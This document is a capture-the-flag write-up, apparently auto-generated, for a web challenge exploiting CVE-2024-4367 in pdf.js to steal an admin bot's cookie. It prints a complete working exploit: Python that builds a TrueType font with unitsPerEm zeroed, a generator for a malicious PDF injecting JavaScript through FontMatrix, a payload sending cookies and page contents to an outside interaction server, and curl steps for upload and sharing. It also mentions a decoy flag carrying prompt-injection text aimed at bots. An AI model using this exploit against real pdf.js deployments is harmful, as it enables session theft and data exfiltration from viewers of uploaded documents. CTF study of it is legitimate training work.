DocuVault — Stored XSS via Malicious PDF (CVE-2024-4367)
DocuVault — Stored XSS via Malicious PDF (CVE-2024-4367)
Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-31 | Status: Solved Techniques: cve_2024_4367_pdfjs_fontmatrix_injection, truetype_unitsperem_zero_bypass, text_rendering_mode_add_to_path, stored_xss_via_pdf_upload, admin_bot_cookie_exfiltration, interact_server_path_exfiltration, honeypot_flag_detection
Summary
Task: Document sharing platform with in-browser PDF rendering via pdf.js 4.1.392, admin bot reviews shared documents. Solution: CVE-2024-4367 — inject JavaScript via malicious FontMatrix string in PDF font dictionary, exfiltrate admin cookie containing flag.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackadvisor| ID:20260531_hackadvisor_docuvault - Tags: xss, javascript, stored_xss, pdf, express, admin_bot, pdfjs, cve_2024_4367, font_injection, truetype
- Indicators: pdf.js version < 4.2.67 used for in-browser PDF rendering, admin bot opens user-shared document previews, FontMatrix array in PDF font dictionary without numeric validation, new Function() eval in getPathGenerator(), flag stored in admin cookie
- Source:
20260531_hackadvisor_docuvault.md
Foothold
Vulnerability / Misconfiguration
- Cve_2024_4367_pdfjs_fontmatrix_injection
- Truetype_unitsperem_zero_bypass
- Text_rendering_mode_add_to_path
- Stored_xss_via_pdf_upload
- Admin_bot_cookie_exfiltration
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- cve_2024_4367_pdfjs_fontmatrix_injection
- truetype_unitsperem_zero_bypass
- text_rendering_mode_add_to_path
- stored_xss_via_pdf_upload
- admin_bot_cookie_exfiltration
- interact_server_path_exfiltration
- honeypot_flag_detection
- Tags: xss, javascript, stored_xss, pdf, express, admin_bot, pdfjs, cve_2024_4367, font_injection, truetype
Original Writeup
<details><summary>Click to expand original content</summary>Description
DocuVault is a document sharing platform built by Vaultstream Technologies where teams can upload, preview, and collaborate on files. The application features in-browser PDF rendering for document previews, user workspaces, and a sharing system with admin review. When users share a document, it is queued for administrator review. An admin bot periodically opens shared document previews to check for policy compliance.
English summary: A document sharing platform renders uploaded PDFs in-browser using pdf.js. Users can share documents for admin review — an admin bot (HeadlessChrome) opens the preview page. The goal is to execute arbitrary JavaScript in the admin's browser and exfiltrate the flag from their cookie.
Credentials: user@test.com / password123
Analysis
Reconnaissance
- Stack: Express.js behind nginx/1.25.5
- PDF viewer: pdf.js version 4.1.392 (
apiVersionfrompdf.min.js) - CVE-2024-4367: Affects pdf.js < 4.2.67 — arbitrary JavaScript execution via FontMatrix injection
- Admin bot: HeadlessChrome/124.0.0.0, visits shared document preview pages
- Flag location: Admin bot's cookie (
FLAG=FLAG{...}) - Decoy flags: HTML source contains
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}with prompt injection — honeypot, must be ignored
CVE-2024-4367 Vulnerability Deep Dive
The vulnerability is in pdf.js's getPathGenerator() method in the main thread. When rendering font glyphs, pdf.js compiles glyph path commands into a JavaScript function via new Function():
// pdf.min.js - getPathGenerator
if (this.isEvalSupported && FeatureTest.isEvalSupported) {
const jsBuf = [];
for (const current of cmds) {
const args = current.args !== undefined ? current.args.join(",") : "";
jsBuf.push("c.", current.cmd, "(", args, ");\n");
}
return this.compiledGlyphs[e] = new Function("c", "size", jsBuf.join(""));
}
The cmds array includes a transform command whose args come from the font's fontMatrix:
// font_renderer.js - compileGlyph
const cmds = [
{cmd: "save"},
{cmd: "transform", args: fontMatrix.slice()},
{cmd: "scale", args: ["size", "-size"]}
];
For TrueType fonts, FontRendererFactory.create determines the fontMatrix:
if (glyf) {
const fontMatrix = !unitsPerEm
? font.fontMatrix // <-- uses dict value when unitsPerEm = 0
: [1/unitsPerEm, 0, 0, 1/unitsPerEm, 0, 0];
return new TrueTypeCompiled(parseGlyfTable(glyf, loca, indexToLocFormat), cmap, fontMatrix);
}
When unitsPerEm = 0, it falls back to font.fontMatrix which comes from the PDF Font dictionary via dict.getArray("FontMatrix") — without any numeric validation. A PDF string element (...) in the FontMatrix array is returned as a JavaScript string and injected raw into the new Function() body.
Why TrueType (not CFF/OpenType)
CFF fonts always override properties.fontMatrix from the CFF DICT defaults — even when FontMatrix is absent in the PDF dict, getByName("FontMatrix") returns the default [0.001, 0, 0, 0.001, 0, 0]. The dict FontMatrix is never used.
TrueType's checkAndRepair does NOT modify fontMatrix, and setting unitsPerEm = 0 forces the renderer to use the dict value directly.
Why Text Rendering Mode 4
Without it, getPathGenerator() is only called when font.disableFontFace is true (which it isn't by default). Text rendering mode 4 (4 Tr = fill + add to path) sets the ADD_TO_PATH_FLAG which unconditionally triggers the vulnerable code path regardless of disableFontFace.
Solution
Step 1: Build TrueType Font with unitsPerEm = 0
Create a minimal valid TTF with fonttools containing an 'A' glyph, then binary-patch the head table's unitsPerEm field (offset 18 within the table) to 0:
from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen
import struct
upm = 1000
fb = FontBuilder(upm, isTTF=True)
fb.setupGlyphOrder([".notdef", "A"])
fb.setupCharacterMap({0x41: "A"})
pen = TTGlyphPen(None)
pen.moveTo((50, 0)); pen.lineTo((300, 700)); pen.lineTo((550, 0)); pen.closePath()
a_glyph = pen.glyph()
pen2 = TTGlyphPen(None)
pen2.moveTo((0, 0)); pen2.lineTo((0, 700)); pen2.lineTo((500, 700)); pen2.lineTo((500, 0)); pen2.closePath()
fb.setupGlyf({".notdef": pen2.glyph(), "A": a_glyph})
fb.setupHorizontalMetrics({".notdef": (600, 0), "A": (600, 50)})
fb.setupHorizontalHeader(ascent=800, descent=-200)
fb.setupNameTable({"familyName": "InjTTF", "styleName": "Regular"})
fb.setupOS2(); fb.setupPost(); fb.setupDummyDSIG()
fb.font.save("inj.ttf")
# Patch unitsPerEm to 0
data = bytearray(open("inj.ttf", "rb").read())
num_tables = struct.unpack_from(">H", data, 4)[0]
for i in range(num_tables):
rec = 12 + i * 16
if data[rec:rec+4] == b"head":
head_off = struct.unpack_from(">I", data, rec + 8)[0]
struct.pack_into(">H", data, head_off + 18, 0) # unitsPerEm = 0
break
open("inj_upm0.ttf", "wb").write(bytes(data))
Step 2: Craft the Injection Payload
The FontMatrix injection string breaks out of c.transform(...) and injects arbitrary JS:
FontMatrix: [0.001 0 0 0.001 0 (0\); <JS_PAYLOAD> ; c.transform\(0)]
This produces valid JS in the eval'd function body:
c.save(); c.transform(0.001,0,0,0.001,0,0); <JS_PAYLOAD> ; c.transform(0); c.scale(size,-size); // ... rest of glyph commands
The JS payload exfiltrates data to the HackAdvisor Interaction Server via URL paths (not query params, since the interact server only logs paths):
var b='http://interact/<UUID>';
function s(p,d){
try{
new Image().src = b+'/'+encodeURIComponent(p)+'/'+encodeURIComponent((d||'').substring(0,800));
} catch(e){}
}
s('cookie', document.cookie);
s('url', location.href);
['/','/flag','/admin','/profile','/dashboard'].forEach(function(u){
fetch(u, {credentials:'include'})
.then(function(r){ return r.text(); })
.then(function(t){ s('page'+u, t.substring(0,800)); })
.catch(function(e){});
});
Step 3: Build the Malicious PDF
#!/usr/bin/env python3
"""CVE-2024-4367 PoC — Full exploit PDF generator"""
import struct
UUID = "9e88b2bc-b4cf-44e3-a3b6-6a2a7a71b2f3"
INTERACT = f"http://interact/{UUID}"
JS = (
"var b='" + INTERACT + "';"
"function s(p,d){try{new Image().src=b+'/'+encodeURIComponent(p)+'/'+encodeURIComponent((d||'').substring(0,800));}catch(e){}}"
"s('hit','1');s('cookie',document.cookie);s('url',location.href);"
"['/','/flag','/admin','/profile','/dashboard'].forEach(function(u){"
"fetch(u,{credentials:'include'}).then(function(r){return r.text();}).then(function(t){s('page'+u,t.substring(0,800));}).catch(function(e){});"
"});"
)
INJ = "0); " + JS + " c.transform(0"
def pdf_str_escape(s):
return s.replace("\\", "\\\\").replace("(", "\\(").replace(")", "\\)")
INJ_ESC = pdf_str_escape(INJ)
otf_data = open("inj_upm0.ttf", "rb").read()
class PDFBuilder:
def __init__(self):
self.objects = []
def add(self, data):
self.objects.append(data)
return len(self.objects)
def build(self):
header = b"%PDF-1.7\n%\xe2\xe3\xcf\xd3\n"
body = b""
offsets = []
for i, obj in enumerate(self.objects):
offsets.append(len(header) + len(body))
body += f"{i+1} 0 obj\n".encode() + obj + b"\nendobj\n"
xref_offset = len(header) + len(body)
n = len(self.objects) + 1
xref = f"xref\n0 {n}\n".encode() + b"0000000000 65535 f \n"
for off in offsets:
xref += f"{off:010d} 00000 n \n".encode()
trailer = f"trailer\n<< /Size {n} /Root 1 0 R >>\nstartxref\n{xref_offset}\n%%EOF\n".encode()
return header + body + xref + trailer
pdf = PDFBuilder()
# 1: Catalog
pdf.add(b"<< /Type /Catalog /Pages 2 0 R >>")
# 2: Pages
pdf.add(b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>")
# 3: Page
pdf.add(b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] "
b"/Resources << /Font << /F1 4 0 R >> >> /Contents 6 0 R >>")
# 4: Font with malicious FontMatrix
font_matrix = f"/FontMatrix [0.001 0 0 0.001 0 ({INJ_ESC})]"
pdf.add(f"""<< /Type /Font /Subtype /Type1 /BaseFont /InjFont
/FirstChar 65 /LastChar 65 /Widths [600] /FontDescriptor 5 0 R
{font_matrix}
/Encoding << /Type /Encoding /Differences [65 /A] >> >>""".encode())
# 5: FontDescriptor with FontFile2 (TrueType)
pdf.add(b"""<< /Type /FontDescriptor /FontName /InjFont /Flags 4
/FontBBox [0 0 600 700] /ItalicAngle 0 /Ascent 800 /Descent -200
/CapHeight 700 /StemV 80 /FontFile2 7 0 R >>""")
# 6: Content stream — text rendering mode 4 forces getPathGenerator
cs = b"BT /F1 50 Tf 4 Tr 50 100 Td (A) Tj ET"
pdf.add(b"<< /Length " + str(len(cs)).encode() + b" >>\nstream\n" + cs + b"\nendstream")
# 7: Embedded TrueType font (unitsPerEm=0)
pdf.add(b"<< /Length1 " + str(len(otf_data)).encode() +
b" /Length " + str(len(otf_data)).encode() +
b" >>\nstream\n" + otf_data + b"\nendstream")
with open("exploit.pdf", "wb") as f:
f.write(pdf.build())
Step 4: Upload, Share, and Exfiltrate
# Login curl -c cookies.txt -X POST https://<target>/login \ -d "email=user@test.com&password=password123" # Upload malicious PDF curl -b cookies.txt -X POST https://<target>/documents/upload \ -F "file=@exploit.pdf" # Share document for admin review curl -b cookies.txt -X POST https://<target>/documents/<doc-uuid>/share
The admin bot visits the preview page → pdf.js renders the malicious PDF → getPathGenerator() evals the FontMatrix injection → JavaScript executes in admin's browser → cookie exfiltrated to interact server.
Step 5: Retrieve Flag from Interact Server
The interact server logged the admin bot's request:
GET /9e88b2bc-.../cookie/FLAG%3DFLAG%7BREDACTED%7D
Decoded: FLAG=FLAG{REDACTED}
Failed Approaches
- CFF/OpenType font: CFF DICT always provides a default FontMatrix (
[0.001, 0, 0, 0.001, 0, 0]) that overrides the PDF dict value — injection never reachesgetPathGenerator() - Query parameter exfiltration: HackAdvisor's Interaction Server doesn't log query strings, only request paths
- Type1 font with FontMatrix in PFA:
readNumberArray()usesparseFloat()which sanitizes string values toNaN, preventing injection - Submitting decoy flag: HTML source contains
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}— a honeypot with prompt injection text
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR